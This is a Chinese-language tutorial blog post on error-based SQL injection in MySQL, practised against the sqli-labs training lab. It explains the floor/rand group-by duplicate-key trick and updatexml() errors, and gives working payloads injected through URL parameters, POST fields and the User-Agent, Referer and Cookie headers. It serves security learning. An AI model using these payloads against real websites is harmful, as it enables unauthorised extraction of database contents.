报错注入产生案例
前面处理Get和Post请求的页面中,对于有提示错误源码的使用联合查询(union select)报出数据库,表,字段,数据等。若有过滤器使用大小写绕过,双写绕过,关键字绕过,注释绕过,URL编码绕过,宽字符绕过等方法进行绕过。但是对于没有提示错误源码只提示错误页面的,我们采取盲注的方法,如布尔盲注和时间盲注。其绕过的方法与提示错误源码的一致。我们是否有一种方法就是让页面强制报错,通过报错来提示我们所需要的信息。答案是肯定有的,那就是基于报错的注入(适合的前提条件是有mysql_error()源码报错,对于跳转错误页面的不适合需要采取盲注)。
基于主键重复报错进行SQL注入(mysql_error()前提下)
使用floor()函数构造错误函数
select count(*),(floor(rand(0)*2))x from table group by x;
rand(a)随机函数,返回 0~1 之间的某个值,a随机因子
floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数
count()计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
这几个函数放在一起会产生报错呢?
1、floor(rand(0)*2)固定返回数值 011011…函数本身并没有报错
2、使用 count+group by的时候就存在问题了,count 用来计数,group by用来分 组,此时分组的过程中会建立一张虚拟表,如果分组时如果值不存在则插入 key,count 计数器+1,如果值存在key count计数器直接+1
#group by主键冲突
MariaDB [security]> select count(*),(floor(rand(0)*2))x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
扩展:group by主键冲突原理
查询第一条数据肯定是不存在的,所以直接插入临时表,key=0,count=1(此时 floor(rand(0)*2)第一次计算)当插入临时表时 floor(rand(0)*2)会被重新计算所以查询第一条数据最终的结果是key=1,count=1(此时 floor(rand(0)*2)第二次计算)
第三次计算key=1已经存在,所以 count+1=2
第四次计算 key=0,表中不存在 0 的主键,所以插入数据,插入数据时 floor(rand(0)*2)重新计算则插入的 key=1,发生主键冲突
3、group by主键冲突报错时会在报错信息中返回 key 和查询内容
select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)x;
#ERROR 1062 (23000): Duplicate entry '5.5.60-MariaDB::security::root[@localhost](https://my.oschina.net/u/570656):1' for
key 'group_key'
4、基于主键重复报错进行SQL注入
http://192.168.1.63/sqli-labs/Less-5/?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)x--+
基于XML格式报错进行SQL注入(mysql_error()前提下)
MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的函数
HTTP User-Agent 注入
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0' or updatexml(1,concat(1,(select database())),1) or '1'='1
HTTP Referer 注入
Referer: http://192.168.1.64/sqli-labs/Less-19/' or updatexml(1,concat(1,(select database())),1) or '1'='1
HTTP Cookies注入
Cookie: uname=admin' or updatexml(1,concat(1,(select database())),1) --+
Get、Post请求
1、Post请求
uname=admin&passwd=admin' or updatexml(1,concat(1,(select database())),1) or '1'='1&submit=Submit
2、Get请求
http://192.168.1.64/sqli-labs/Less-1/?id=-1' or updatexml(1,concat(1,(select database())),1) or '1'='1
总结
在进行有错误源码提示的情况下我们不仅可以进行联合查询报出当前数据库,表,字段,数据,而且可采用基于报错的方式进行注入,如floor()函数构建报错函数,和MySQL 5.1.5版本中updatexml()函数进行xml报错来报出当前的数据库,表,字段和数据。若是成功页面跳转和错误页面跳转,我们还是采用盲注的方式进行注入,如布尔盲注和时间盲注;相关函数length(),substr(),ascii(),if(),sleep()等。
来源:oschina
链接:https://my.oschina.net/moziBlog/blog/3211329